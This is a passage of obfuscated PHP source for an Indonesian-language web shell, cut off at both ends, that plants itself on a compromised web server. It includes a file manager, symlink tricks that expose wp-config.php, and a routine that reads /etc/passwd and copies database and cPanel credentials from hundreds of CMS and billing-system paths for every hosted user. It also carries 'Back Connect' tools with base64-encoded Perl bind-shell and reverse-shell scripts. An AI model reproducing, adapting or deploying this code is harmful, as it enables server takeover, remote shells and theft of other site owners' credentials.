\xa\x9\x9	\x9\x9\x9	\x9	<td>: " . $show_ds . "</td>\xd
\x9	\x9\x9\x9\x9	\x9</tr>\xd
	\x9	\x9\x9		\x9<tr>
	\x9\x9\x9	\x9\x9\x9	<td>Software</td>
\x9			\x9				<td>: " . $sof . "</td>\xd
\x9	\x9\x9	\x9\x9	</tr>
\xa	\x9\x9		\x9	\x9<tr>\xd
\x9	\x9\x9\x9	\x9		<td>Sistem Operasi</td>
\xa	\x9\x9					\x9<td> : " . $os . "</td>
\xa				\x9\x9	\x9</tr>
\x9\x9	\x9\x9	\x9</table>\xd
		\x9\x9		</div>\xd\xa			\x9	</div><hr/>\xd
	\x9		</div>\xd
		\x9<div class="col-md-7 mt-4">"; goto TyPNd; cqr2q: if ($_GET["aksi"] == "chmod_file") { chmodFile($dir, $file, $nfile); } goto wDUXc; lGLyr: function sym404($dir, $file) { goto KavRl; zXBj0: exit; goto UTuJE; KavRl: $cp = get_current_user(); goto oPEQP; oPEQP: if ($_POST["execute"]) { goto wGkxr; KSJBV: $isi = $_POST["isi"]; goto GQdc9; Uf7R1: echo "<a href="/indosec_sym404/" target="_blank" class="btn btn-success btn-block mb-3">Click Me!!</a>"; goto kYf1I; gdlli: @mkdir("indosec_sym404", 0777); goto YsTJu; YsTJu: $dir = $_POST["dir"]; goto KSJBV; GDVee: $inija = fopen("indosec_sym404/.htaccess", "w"); goto eD0UI; eD0UI: @fwrite($inija, "ReadmeName " . $isi . "\xaOptions Indexes FollowSymLinks
DirectoryIndex ids.html\xaAddType text/plain php html php5 phtml\xaAddHandler text/plain php html php5 phtml\xaSatisfy Any"); goto Uf7R1; GQdc9: @system("ln -s " . $dir . "indosec_sym404/" . $isi); goto rheAQ; wGkxr: @rmdir("indosec_sym404"); goto gdlli; rheAQ: @symlink($dir, "indosec_sym404/" . $isi); goto GDVee; kYf1I: } else { echo "<h2>Symlink 404</h2>
\x9	<form method="post">
\x9		File Target: <input type="text" class="form-control" name="dir" value="/home/" . $cp . "/public_html/wp-config.php"><br/>
\xa\x9\x9\x9Save As: <input type="text" class="form-control" name="isi" placeholder="[Ex] file.txt"/><br/>\xd\xa\x9	\x9<input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/>
	\x9\x9<p class="text-muted">NB: Letak wp-config tidak semuanya berada di <u>public_html/wp-config.php</u> jadi silahkan ubah sesuai letaknya.</p>
\xa	\x9</form>"; } goto zXBj0; UTuJE: } goto cJZq9; IxIib: @ini_set("output_buffering", 0); goto dr5yf; TJWJH: if ($_GET["aksi"] == "zip_menu") { zipMenu($dir, $file); } goto RG3Mn; xBMpg: if ($_GET["aksi"] == "auteduser") { autoEdit($dir, $file); } goto KpT3J; w5cNg: function renameFile($dir, $file, $nfile, $imgfile) { goto yD2Fs; JTvjF: if (isset($_POST["rename_file"])) { goto SAthl; Hlv1z: rename($baru, $lama); goto nzZKl; xoiVu: $baru = $_POST["namanew"]; goto Hlv1z; nzZKl: if (file_exists($baru)) { goto Qirij; Qirij: $swa = "success"; goto Dddy9; Dddy9: $text = "Nama {$baru} Telah Digunakan"; goto ck4py; ck4py: swall($swa, $text, $dir); goto YxXCn; YxXCn: } else { if (rename($lama, $baru)) { goto sslmU; sslmU: $swa = "success"; goto XDIC8; ZR2ak: swall($swa, $text, $dir); goto woAhs; XDIC8: $text = "Berhasil Mengganti Nama Menjadi {$baru}"; goto ZR2ak; woAhs: } else { goto IvPY4; Cwn4U: swall($swa, $text, $dir); goto NMXSn; IH4Ak: $text = "Gagal Mengganti Nama"; goto Cwn4U; IvPY4: $swa = "error"; goto IH4Ak; NMXSn: } } goto ywxkr; SAthl: $lama = $file; goto xoiVu; ywxkr: } goto n9_VX; CR6jN: echo "<form method='POST'>
\xa\x9\x9<h5>{$imgfile} Rename File : {$nfile}</h5>
\xa		<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$nfile}'><br/>
\xa\x9\x9<button type='sumbit' class='btn btn-info btn-block' name='rename_file'>Rename</button>
\xa	</form>"; goto JTvjF; yD2Fs: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto CR6jN; n9_VX: } goto bMmbo; xz2zF: echo "<a href='#' class='scrollToTop'><i class='fa fa-arrow-up up' aria-hidden='true'></i></a>"; goto qap3T; EzpS3: if (isset($_GET["file"]) && $_GET["file"] != '' && $_GET["aksi"] == "download") { goto zVQWx; kuX0n: header("Content-Disposition: attachment; filename="" . basename($file) . """); goto RA6oN; SWf0q: header("Content-Description: File Transfer"); goto ydkUx; ydkUx: header("Content-Type: application/octet-stream"); goto kuX0n; W0ugW: $file = $_GET["file"]; goto SWf0q; ECZ_h: header("Content-Length: " . filesize($file)); goto pHJCM; tL3ea: exit; goto Quuh6; pHJCM: readfile($file); goto tL3ea; zVQWx: @ob_clean(); goto W0ugW; JOHFN: header("Cache-Control: must-revalidate"); goto hcZgn; hcZgn: header("Pragma: public"); goto ECZ_h; RA6oN: header("Expires: 0"); goto JOHFN; Quuh6: } goto ZCeW1; ML2sV: if ($_GET["aksi"] == "upload") { aksiUpload($dir); } goto o9j8b; pk13s: $show_ds = !empty($ds) ? "<a href='?dir={$dir}&aksi=disabfunc' class='ds'>{$ds}</a>" : "<a href='?dir={$dir}&aksi=disabfunc'><font color=green>NONE</font></a>"; goto SnXTb; BEmbQ: if ($_GET["aksi"] == "symlink") { aksiSym($dir, $file); } goto QWWRl; RG3Mn: if (isset($_GET["path"])) { $path = $_GET["path"]; chdir($path); } else { $path = getcwd(); } goto mP4ds; mZGym: function aksiConfig($dir, $file) { if ($_POST) { goto nugCa; tBTEG: foreach ($user_config[1] as $user_con) { $user_config_dir = "/home/{$user_con}/public_html/"; if (is_readable($user_config_dir)) { $grab_config = array("/home/{$user_con}/.my.cnf" => "cpanel", "/home/{$user_con}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$user_con}/public_html/forum/config.php" => "phpBB", "/home/{$user_con}/public_html/sites/default/settings.php" => "Drupal", "/home/{$user_con}/public_html/config/settings.inc.php" => "PrestaShop", "/home/{$user_con}/public_html/app/etc/local.xml" => "Magento", "/home/{$user_con}/public_html/admin/config.php" => "OpenCart", "/home/{$user_con}/public_html/application/config/database.php" => "Ellislab", "/home/{$user_con}/public_html/vb/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/forum/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/forums/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/cc/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/inc/config.php" => "MyBB", "/home/{$user_con}/public_html/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/shop/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/os/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/products/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/cart/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/inc/conf_global.php" => "IPB", "/home/{$user_con}/public_html/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wp/test/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/blog/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/beta/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/portal/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/site/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wp/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/WP/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/news/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wordpress/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/test/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/demo/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/home/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/v1/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/v2/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/press/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/new/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/blogs/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/configuration.php" => "Joomla", "/home/{$user_con}/public_html/blog/configuration.php" => "Joomla", "/home/{$user_con}/public_html/submitticket.php" => "^WHMCS", "/home/{$user_con}/public_html/cms/configuration.php" => "Joomla", "/home/{$user_con}/public_html/beta/configuration.php" => "Joomla", "/home/{$user_con}/public_html/portal/configuration.php" => "Joomla", "/home/{$user_con}/public_html/site/configuration.php" => "Joomla", "/home/{$user_con}/public_html/main/configuration.php" => "Joomla", "/home/{$user_con}/public_html/home/configuration.php" => "Joomla", "/home/{$user_con}/public_html/demo/configuration.php" => "Joomla", "/home/{$user_con}/public_html/test/configuration.php" => "Joomla", "/home/{$user_con}/public_html/v1/configuration.php" => "Joomla", "/home/{$user_con}/public_html/v2/configuration.php" => "Joomla", "/home/{$user_con}/public_html/joomla/configuration.php" => "Joomla", "/home/{$user_con}/public_html/new/configuration.php" => "Joomla", "/home/{$user_con}/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/WHMC/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whmc/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmc/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/WHM/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/HOST/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Host/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/host/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Supportes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/supportes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/domains/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/domain/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Hosting/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/hosting/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CART/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Cart/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/cart/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ORDER/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Client/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/client/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientarea/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Support/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/support/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLING/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billing/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billing/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BUY/sumitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Buy/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/buy/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Manage/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/manage/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Checkout/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/checkout/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BASKET/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Basket/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/basket/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SECURE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Secure/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SALES/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Sales/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/sales/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILL/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Bill/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/bill/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Purchase/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/purchase/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Account/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/account/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/USER/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/User/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/user/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clients/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clients/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/MY/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/My/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/my/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/panel/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/cliente/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/support/order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/box/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/host/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/Host/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/supportes/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/support/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/hosting/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/cart/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/order/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/client/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/clients/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/cliente/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/clientes/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/billing/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/billings/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/my/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/secure/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/support/order/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/products/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/host/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/support/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/order/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/client/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/my/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/support/order/includes/iso4217.php" => "Hostbills"); foreach ($grab_config as $config => $nama_config) { $ambil_config = file_get_contents($config); if ($ambil_config == '') { } else { $file_config = fopen("indosec_config/{$user_con}-{$nama_config}.txt", "w"); fputs($file_config, $ambil_config); } } } } goto TbpyU; qn76W: mkdir("indosec_config", 0777); goto Iv9Cc; Iv9Cc: $isi_htc = "Options allnRequire NonenSatisfy Any"; goto rjGk8; rjGk8: $htc = fopen("indosec_config/.htaccess", "w"); goto nao8G; nugCa: $passwd = $_POST["passwd"]; goto qn76W; TbpyU: echo "<p class='text-center'>Success Get Config!!</p>\xd
\x9	<a href='?dir={$dir}/indosec_config' class='btn btn-success btn-block mb-4'>Click Here</a>"; goto OebPs; QkopM: preg_match_all("/(.*?):x:/", $passwd, $user_config); goto tBTEG; nao8G: fwrite($htc, $isi_htc); goto QkopM; OebPs: } else { echo "<form method='post'>
\x9	\x9<p class='text-danger'>/etc/passwd error ?  <a href='?dir={$dir}&aksi=passwbypass'>Bypass Here</a></p>
\xa			<textarea name='passwd' class='form-control' rows='13'>" . file_get_contents("/etc/passwd") . "</textarea><br/>\xd\xa		\x9<input type='submit' class='btn btn-danger btn-block' value='Get Config!!'>
\x9	</form>"; } exit; } goto CEE4C; cJZq9: function symBypass($dir, $file) { goto VFFiQ; waygV: if (isset($_GET["save"]) and isset($_POST["file"]) or @filesize("passwd.txt") > 0) { goto qoQUK; qoQUK: $cont = stripcslashes($_POST["file"]); goto TsPS9; TsPS9: if (!file_exists("passwd.txt")) { goto jmhkM; i7jiD: fclose($f); goto cUscH; jmhkM: $f = @fopen("passwd.txt", "w"); goto VAVOU; VAVOU: $w = @fwrite($f, $cont); goto i7jiD; cUscH: } goto NsggK; NsggK: if ($w or @filesize("passwd.txt") > 0) { goto JtGCV; sdmIZ: foreach ($fil3 as $f) { goto FI1gJ; YjZib: $user = $u["0"]; goto P6DYd; upT1i: flush(); goto z5zdt; P6DYd: echo "<tr>\xd\xa\x9		\x9	\x9<td class='text-left pl-1'>{$user}</td>
\x9\x9\x9\x9		<td><a href='{$full}/sym/root/home/{$user}/public_html' target='_blank'>Symlink </a></td>\xd\xa\x9			\x9\x9<td><a href='{$pageFTP}/sym/root/home/{$user}/public_html' target='_blank'>FTP</a></td>\xd\xa	\x9			</tr>"; goto zYUgO; zYUgO: flush(); goto upT1i; FI1gJ: $u = explode(":", $f); goto YjZib; z5zdt: } goto eiKBR; JtGCV: echo "<div class='tmp'>
\xa	\x9\x9<table width='100%' class='text-center table-responsive mb-4'>
	\x9	\x9<thead class='bg-info'>\xd\xa	\x9\x9	\x9<th>Users</th>
	\x9			<th>symlink</th>
\xa	\x9\x9\x9\x9<th>FTP</th>
\x9\x9\x9	</thead>"; goto es0zi; es0zi: flush(); goto xFxkq; eiKBR: echo "</tr></table></div>"; goto OMLek; OMLek: die; goto E9haP; xFxkq: $fil3 = file("passwd.txt"); goto sdmIZ; E9haP: } goto qBVqd; qBVqd: } goto fslQi; peSvj: flush(); goto bfqpg; uThZ0: $u = explode("/", $pageFTP); goto G2v3G; B4zfk: exit; goto Xs51z; G2v3G: $pageFTP = str_replace($u[count($u) - 1], '', $pageFTP); goto waygV; DCRtu: $r3ad = @fopen($file, "r"); goto Bytln; fslQi: echo "read /etc/passwd <font color='red'>error ?  </font><a href='?dir=" . $dir . "&aksi=passwbypass'>Bypass Here</a>\xd\xa	<form method='post' action='?dir={$dir}&aksi=sym_bypas&save=1'>
\x9	<textarea class='form-control' rows='13' name='file'>"; goto UP_ZR; bfqpg: echo "</textarea><br/>
\x9\x9<input type='submit' class='btn btn-danger btn-block' value='Symlink'/>\xd
\x9</form>"; goto IV72R; j08gL: $file = "/etc/passwd"; goto DCRtu; Bytln: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } elseif (!$r3ad) { $r3ad = @show_source($file); } elseif (!$r3ad) { $r3ad = @highlight_file($file); } elseif (!$r3ad) { for ($uid = 0; $uid < 1000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "\xa"; } } } goto peSvj; wk2PM: $pageFTP = "ftp://" . $_SERVER["SERVER_NAME"] . "/public_html/" . $_SERVER["REQUEST_URI"]; goto uThZ0; UP_ZR: flush(); goto j08gL; VFFiQ: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto wk2PM; IV72R: flush(); goto B4zfk; Xs51z: } goto ZPGPQ; R6uAn: function deleteFolder($dir, $ndir) { goto X4SNU; bEvdN: exit; goto BrdMD; KJrar: if ($_POST["ya"]) { if (is_dir($dir)) { if (is_writable($dir)) { goto FbZkR; YN2Vv: $swa = "success"; goto yEJg3; yEJg3: $text = "Berhasil Menghapus"; goto YztUu; YztUu: $dir = dirname($dir); goto fQFi9; VBzMw: @exe("rm -rf {$dir}"); goto ip82N; ip82N: @exe("rmdir /s /q {$dir}"); goto YN2Vv; FbZkR: @rmdir($dir); goto VBzMw; fQFi9: swall($swa, $text, $dir); goto Ppq5c; Ppq5c: } else { goto LyLDU; LyLDU: $swa = "error"; goto kjymN; kjymN: $text = "Berhasil Menghapus"; goto gklM9; gklM9: $dir = dirname($dir); goto CrxcZ; CrxcZ: swall($swa, $text, $dir); goto WmrCW; WmrCW: } } } goto bEvdN; X4SNU: echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder'>Rename</a> ]  [ <a href='?dir=" . $dir . "&aksi=hapus_folder' class='active'>Delete</a> ] \xd\xa	<div class='card card-body text-center text-dark mb-4'>\xd
\x9	<p>Apakah Yakin Menghapus : {$ndir} ?</p>
\xa		<form method='POST'>\xd\xa\x9	\x9<a class='btn btn-danger btn-block' href='?dir=" . dirname($dir) . "'>Tidak</a>\xd
	\x9	<input type='submit' name='ya' class='btn btn-success btn-block' value='Ya'>\xd\xa\x9	</form>\xd\xa\x9</div><br/>"; goto KJrar; BrdMD: } goto sZUYH; ojXWH: $ds = @ini_get("disable_functions"); goto pk13s; ZPGPQ: function bcTool($dir, $file) { goto d2Dnb; GSRHx: exit; goto Qx_wV; d2Dnb: echo "<h4 class='text-center mb-4'>Back Connect Tools</h4>\xd\xa	<form method='post'>\xd
\x9\x9<div class='row'>
\xa\x9\x9\x9<div class='col-md-10'>
\xa	\x9		<span>Bind port to /bin/sh [Perl]</span><br/>\xd
\x9		\x9<label>Port :</label>
		\x9\x9<div class='form-group input-group mb-4'>\xd\xa\x9\x9\x9\x9\x9<input type='text' name='port' class='form-control' value='6969'>\xd\xa					<input type='submit' name='bpl' class='btn btn-danger form-control' value='Reserve'>\xd\xa				</div>\xd
\x9	\x9	<h5>Back-Connect</h5>\xd\xa		\x9	<label>Server :</label>\xd
	\x9\x9	<input type='text' name='server' class='form-control mb-3' placeholder='" . $_SERVER["REMOTE_ADDR"] . "'>
\xa\x9	\x9	<label>Port :</label>
\xa	\x9	\x9<div class='form-group input-group mb-4'>\xd
\x9		\x9\x9<input type='text' name='port' class='form-control' placeholder='443'>\xd\xa		\x9\x9\x9<select class='form-control' name='backconnect'>\xd
					\x9<option value='perl'>Perl</option>\xd
\x9\x9\x9	\x9\x9<option value='php'>PHP</option>
\xa\x9	\x9\x9\x9\x9<option value='python'>Python</option>\xd\xa		\x9\x9\x9	<option value='ruby'>Ruby</option>\xd\xa			\x9	</select>
				</div>
\xa\x9		\x9<input type='submit' class='btn btn-danger btn-block' value='Connect'>
\xa	\x9\x9</div>
\xa\x9\x9</div>\xd\xa\x9</form>"; goto r26J2; r26J2: if ($_POST["bpl"]) { goto DCA6N; n2sr4: sleep(1); goto qSF3i; DCA6N: $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); goto bPw0A; z7_iB: fwrite($brt, $bp); goto IDOhD; bPw0A: $brt = @fopen("bp.pl", "w"); goto z7_iB; F_Z0t: unlink("bp.pl"); goto LQeWT; qSF3i: echo "<pre class='text-light'>{$out}
" . exe("ps aux | grep bp.pl") . "</pre>"; goto F_Z0t; IDOhD: $out = exe("perl bp.pl " . $_POST["port"] . " 1>/dev/null 2>&1 &"); goto n2sr4; LQeWT: } goto ciSce; ciSce: if ($_POST["backconnect"] == "perl") { goto ugmVj; ugmVj: $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); goto Vi2Jw; GK0LO: fwrite($plbc, $bc); goto JpgOf; FpZRE: unlink("bc.pl"); goto hiRz8; Vi2Jw: $plbc = @fopen("bc.pl", "w"); goto GK0LO; JpgOf: $out = exe("perl bc.pl " . $_POST["server"] . " " . $_POST["port"] . " 1>/dev/null 2>&1 &"); goto 